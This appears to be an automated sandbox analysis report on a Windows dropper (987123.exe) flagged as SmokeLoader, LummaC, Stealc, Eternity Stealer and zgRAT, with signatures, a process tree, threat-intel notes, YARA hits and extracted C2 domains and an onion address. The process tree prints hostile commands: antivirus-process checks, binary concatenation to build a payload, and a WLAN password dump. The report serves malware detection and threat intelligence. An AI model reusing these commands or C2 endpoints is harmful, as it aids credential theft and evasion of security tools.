Edit tour

Windows Analysis Report
987123.exe

Overview

General Information

Sample name:	987123.exe
Analysis ID:	1370880
MD5:	1b92d73ac6ca807adc303c424eeeb80b
SHA1:	836e751f86ab603920a22f1778ffc56d3d52a9ac
SHA256:	d7567c94d64fc05b847558d0308b54df1a716fcbe45a480ade6f2987a5ebbaef
Tags:	exeSmokeLoader
Infos:

Detection

LummaC, Eternity Stealer, LummaC Stealer, SmokeLoader, Stealc, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

System process connects to network (likely due to code injection or exploit)

Yara detected Eternity Stealer

Yara detected LummaC Stealer

Yara detected SmokeLoader

Yara detected Stealc

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Connects to a pastebin service (likely for C&C)

Contains functionality to inject code into remote processes

Contains functionality to modify clipboard data

Contains functionality to register a low level keyboard hook

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Drops PE files with a suspicious file extension

Drops PE files with benign system names

Found Tor onion address

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

May use the Tor software to hide its network traffic

Modifies the context of a thread in another process (thread injection)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Writes to foreign memory regions

Yara detected Generic Downloader

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Tries to load missing DLLs

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

987123.exe (PID: 7136 cmdline: C:\Users\user\Desktop\987123.exe MD5: 1B92D73AC6CA807ADC303C424EEEB80B)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

regsvr32.exe (PID: 6240 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\35E5.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 2004 cmdline: /s C:\Users\user\AppData\Local\Temp\35E5.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

3BD2.exe (PID: 1432 cmdline: C:\Users\user\AppData\Local\Temp\3BD2.exe MD5: 1B728C6E8F10313D7367C82E48D022DA)

conhost.exe (PID: 1440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6564 cmdline: "C:\Windows\System32\cmd.exe" /k cmd < Advancement & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3412 cmdline: cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

tasklist.exe (PID: 6500 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2288 cmdline: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6748 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5764 cmdline: findstr /I "wrsa.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7060 cmdline: cmd /c mkdir 15372 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7088 cmdline: cmd /c copy /b Zoo + Viewers + Bow + Contractors + Protection + Desk + Kinds 15372\Far.pif MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7156 cmdline: cmd /c copy /b Payday + Corporate + Spain 15372\i MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Far.pif (PID: 3664 cmdline: 15372\Far.pif 15372\i MD5: BFA84DBDE0DF8F1CAD3E179BD46A6E34)

PING.EXE (PID: 932 cmdline: ping -n 5 localhost MD5: B3624DD758CCECF93A1226CEF252CA12)

4577.exe (PID: 1896 cmdline: C:\Users\user\AppData\Local\Temp\4577.exe MD5: AA053CF4ED948FEC79703DEBBB45FBBF)

4577.exe (PID: 4632 cmdline: C:\Users\user\AppData\Local\Temp\4577.exe MD5: AA053CF4ED948FEC79703DEBBB45FBBF)

Far.pif (PID: 2936 cmdline: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif MD5: BFA84DBDE0DF8F1CAD3E179BD46A6E34)

9D1E.exe (PID: 2736 cmdline: C:\Users\user\AppData\Local\Temp\9D1E.exe MD5: 2AA4B3C398F32A8D4403B21769ED1FC1)

InstallUtil.exe (PID: 6032 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 6692 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 1160 MD5: C31336C1EFC2CCB44B4326EA793040F2)

E35F.exe (PID: 6072 cmdline: C:\Users\user\AppData\Local\Temp\E35F.exe MD5: EAFEB784379E60C2D0BD8D46EAC05286)

InstallUtil.exe (PID: 5544 cmdline: XXX MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cmd.exe (PID: 1188 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6148 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

csrss.exe (PID: 2300 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: AA053CF4ED948FEC79703DEBBB45FBBF)

csrss.exe (PID: 2872 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: AA053CF4ED948FEC79703DEBBB45FBBF)

2DF.exe (PID: 5968 cmdline: C:\Users\user\AppData\Local\Temp\2DF.exe MD5: 47FF6687383E2C84A0DDF860E8DB33EB)

WerFault.exe (PID: 5592 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 500 MD5: C31336C1EFC2CCB44B4326EA793040F2)

5390.exe (PID: 4140 cmdline: C:\Users\user\AppData\Local\Temp\5390.exe MD5: 0E219D95AC454729366F376B54D9CFB4)

1600.exe (PID: 4040 cmdline: C:\Users\user\AppData\Local\Temp\1600.exe MD5: AC1F652F56A5D8DA834680A729BB08C7)

1600.tmp (PID: 8 cmdline: "C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp" /SL5="$D029C,4455529,54272,C:\Users\user\AppData\Local\Temp\1600.exe" MD5: A7662827ECAEB4FC68334F6B8791B917)

1600.exe (PID: 3940 cmdline: "C:\Users\user\AppData\Local\Temp\1600.exe" /SPAWNWND=$B02AC /NOTIFYWND=$D029C MD5: AC1F652F56A5D8DA834680A729BB08C7)

FD8E.exe (PID: 6180 cmdline: C:\Users\user\AppData\Local\Temp\FD8E.exe MD5: 9DC46160B805B73634F4BD8507F11494)

ufhjbuw (PID: 5740 cmdline: C:\Users\user\AppData\Roaming\ufhjbuw MD5: 1B92D73AC6CA807ADC303C424EEEB80B)

svchost.exe (PID: 6128 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 6240 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2736 -ip 2736 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5324 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5968 -ip 5968 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 2148 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ufhjbuw (PID: 5672 cmdline: C:\Users\user\AppData\Roaming\ufhjbuw MD5: 1B92D73AC6CA807ADC303C424EEEB80B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11 https://medium.com/s2wblog/lumma-stealer-targets-youtubers-via-spear-phishing-email-ade740d486f7	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af https://github.com/muha2xmad/Python/blob/bdc7a711d5a775f8ae47b591f20fdd2e1360b77b/Stealc/stealc_config_extractor.ipynb	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["blastechohackopeower.pw", "goddirtybrilliancece.fun", "drownthinsaltroutese.pw"]}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://goodfooggooftool.net/index.php", "http://sulugilioiu19.net/index.php", "http://selebration17io.io/index.php", "http://vacantion18ffeu.cc/index.php", "http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Threatname: Eternity Stealer

{"C2 url": ["http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\E35F.exe	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\E35F.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\E35F.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xd0e18:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xd0e8a:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xd0f14:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xd0fa6:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xd1010:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xd1082:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xd1118:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xd11a8:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
C:\Users\user\AppData\Local\Temp\9D1E.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\9D1E.exe	INDICATOR_EXE_Packed_DotNetReactor	Detects executables packed with unregistered version of .NET Reactor	ditekSHen	0x281721:$s2: is protected by an unregistered version of .NET Reactor!" );</script>
C:\Users\user\AppData\Local\Temp\FD8E.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x674bf1:$s1: Runner 0x674d56:$s3: RunOnStartup 0x674c05:$a1: Antis 0x674c32:$a2: antiVM 0x674c39:$a3: antiSandbox 0x674c45:$a4: antiDebug 0x674c4f:$a5: antiEmulator 0x674c5c:$a6: enablePersistence 0x674c6e:$a7: enableFakeError 0x674d7f:$a8: DetectVirtualMachine 0x674da4:$a9: DetectSandboxie 0x674dcf:$a10: DetectDebugger 0x674dde:$a11: CheckEmulator
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000023.00000002.2438435687.00000000004C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000022.00000002.2579381005.0000000000730000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x32af:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.2101613794.0000000002735000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000023.00000003.2383099821.00000000004D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
0000002A.00000002.2767631716.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
0000001F.00000002.2469988089.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x664:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000023.00000002.2438711950.000000000063D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x330c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000003.00000002.1987664254.00000000006EC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x392f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x43524:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x264:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x316f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1984120576.00000000004C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000022.00000002.2578412540.00000000005E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: InstallUtil.exe PID: 6032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 6032	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: E35F.exe PID: 6072	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5544	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5544	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x55983:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
35.2.5390.exe.4c0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.0.E35F.exe.db8096.1.unpack	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
30.0.E35F.exe.db8096.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x48d82:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x48df4:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x48e7e:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x48f10:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x48f7a:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x48fec:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x49082:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x49112:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
35.2.5390.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.3.5390.exe.4d0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
42.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
42.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
42.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4ab82:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4abf4:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4ac7e:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4ad10:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4ad7a:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4adec:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4ae82:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4af12:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
30.0.E35F.exe.db8096.1.raw.unpack	JoeSecurity_EternityStealer	Yara detected Eternity Stealer	Joe Security
30.0.E35F.exe.db8096.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
30.0.E35F.exe.db8096.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4ab82:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4abf4:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x4ac7e:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4ad10:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4ad7a:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4adec:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4ae82:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4af12:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
